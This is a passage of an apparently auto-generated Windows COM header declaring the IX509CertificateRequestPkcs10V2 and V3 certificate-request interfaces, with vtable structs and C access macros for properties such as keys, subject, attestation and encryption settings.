IX509CertificateRequestPkcs10V2_get_PublicKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PublicKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_ReuseKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReuseKey(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_OldCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_Subject(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Subject(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_Subject(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Subject(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_CspStatuses(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatuses(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_SmimeCapabilities(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SmimeCapabilities(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_SmimeCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SmimeCapabilities(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_KeyContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyContainerNamePrefix(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_KeyContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyContainerNamePrefix(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_RawDataToBeSigned(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawDataToBeSigned(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_GetCspStatuses(This,KeySpec,ppCspStatuses)\t\\\n    ( (This)->lpVtbl -> GetCspStatuses(This,KeySpec,ppCspStatuses) ) \n\n\n#define IX509CertificateRequestPkcs10V2_InitializeFromTemplate(This,context,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplate(This,context,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V2_InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V2_InitializeFromPublicKeyTemplate(This,Context,pPublicKey,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKeyTemplate(This,Context,pPublicKey,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V2_get_PolicyServer(This,ppPolicyServer)\t\\\n    ( (This)->lpVtbl -> get_PolicyServer(This,ppPolicyServer) ) \n\n#define IX509CertificateRequestPkcs10V2_get_Template(This,ppTemplate)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppTemplate) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestPkcs10V2_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs10V3_INTERFACE_DEFINED__\n#define __IX509CertificateRequestPkcs10V3_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestPkcs10V3 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestPkcs10V3;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"54EA9942-3D66-4530-B76E-7C9170D3EC52\")\n    IX509CertificateRequestPkcs10V3 : public IX509CertificateRequestPkcs10V2\n    {\n    public:\n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_AttestPrivateKey( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_AttestPrivateKey( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_AttestationEncryptionCertificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_AttestationEncryptionCertificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_EncryptionAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_EncryptionAlgorithm( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_EncryptionStrength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_EncryptionStrength( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ChallengePassword( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ChallengePassword( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NameValuePairs( \n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestPkcs10V3Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestPkcs10V3 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *IsSmartCard )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReuseKey )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawDataToBeSigned )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ X509KeySpec KeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppCspStatuses);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKeyTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKeyTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyServer )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_AttestPrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_AttestPrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_AttestationEncryptionCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_AttestationEncryptionCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ChallengePassword )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ChallengePassword )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NameValuePairs )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue);\n        \n        END_INTERFACE\n    } IX509CertificateRequestPkcs10V3Vtbl;\n\n    interface IX509CertificateRequestPkcs10V3\n    {\n        CONST_VTBL struct IX509CertificateRequestPkcs10V3Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestPkcs10V3_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestPkcs10V3_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestPkcs10V3_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestPkcs10V3_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestPkcs10V3_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestPkcs10V3_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestPkcs10V3_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestPkcs10V3_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestPkcs10V3_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestPkcs10V3_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestPkcs10V3_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define 